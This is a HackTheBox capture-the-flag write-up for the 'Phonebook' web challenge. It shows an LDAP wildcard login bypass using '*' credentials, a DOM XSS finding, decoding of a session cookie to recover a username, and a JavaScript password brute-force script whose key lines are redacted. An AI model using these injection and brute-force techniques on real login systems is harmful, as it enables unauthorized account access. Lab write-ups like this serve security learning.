Phonebook
Phonebook
Platform: HackTheBox | Category: Web | Difficulty: N/A | Author: D3v0o0Nu11 | Date: 2026-02-10
Description
Who is lucky enough to be included in the phonebook?
Solution Approach
Core idea: Identify the weakness from source review or fingerprinting first. Iterate with incremental payloads instead of guessing.
Steps
-
First, open the host given.
-
Try to enter the username as
adminand the password asadmin. -
Yeah obviously we failed, but notice at the url parameter.
-
The message parameter has
Authentication failedas the value. -
Also there's a note from Reese:
-
After did several SQLi command, i found that when i entered both username and password as
*. We successfully logged in! With this we know that the website is using LDAP Authentication. We can utilize that to bruteforce the website.
LOGGED IN
-
Let us check for
Reese. -
Well got no clue.
-
Let us go back to the login page.
-
I tried to change the message parameter.
-
It changed, maybe it's related to XSS (?)
-
When i entered a simple xss payload, we got nothing.
-
But when i tried to enter xss with the tag. Got this result:
-
Great we can conclude that the website is vulnerable to XSS.
-
And the type of XSS is DOM XSS, means the vulnerability exists in client-side code.
-
Now how to get the correct username?? I think it's a luck, when i tried to see the cookies after i logged in using
*as username and pass.
COOKIE
MTY3MTYzNjczNnxEdi1CQkFFQ180SUFBUkFCRUFBQUpfLUNBQUVHYzNSeWFXNW5EQW9BQ0dGMWRHaDFjMlZ5Qm5OMGNtbHVad3dIQUFWeVpXVnpaUT09fNLEZJsY2tV2A42nzGyxDgQtIvKJZR37B0b69fpdZvbf
-
Then i pasted it on cyberchef.
-
Decode the base64 text.
Dv-BBAEC_4IAARABEAAAJ_-CAAEGc3RyaW5nDAoACGF1dGh1c2VyBnN0cmluZwwHAAVyZWVzZQ==
- Guessing the username as
reese. - Then bruteforce the password using javascript.
THE SCRIPT
function getFlag()
{
//console.clear();
var strings = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_' // alphabets to check
var i, flag, req;
for (i = 0; i < strings.length; i++) // as long as i lower than the length of strings
{
flag = 'REDACTED';
req = new XMLHttpRequest();
req.open('POST', location.href, false);
req.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
req.send('username=reese&password=' + flag); // Username as reese and pass as flag*
if (req.responseURL.split('message')[1] === undefined)
{
localStorage.setItem('flag', localStorage.getItem('flag') + strings[i]);
}
console.clear(); // clear the terminal
console.log('REDACTED'); // concate the flag with HTB prefix -> REDACTED
}
}
var i;
for(i = 0; i < 10; i++) // iterate the func 10 times (in case the flag we got is incomplete, then increment the iteration)
{
getFlag();
}
-
Before run the script, open the localStorage then add a key named
flagand leave the value blank. -
Now run the script at the console.
-
When i input the flag as answers, it turned green.
-
Means we got the correct flag!
Flag
REDACTED
Lessons Learned
- Identify the weakness from source review or fingerprinting first.
- Iterate with incremental payloads instead of guessing.
- Reuse the same pattern in future engagements.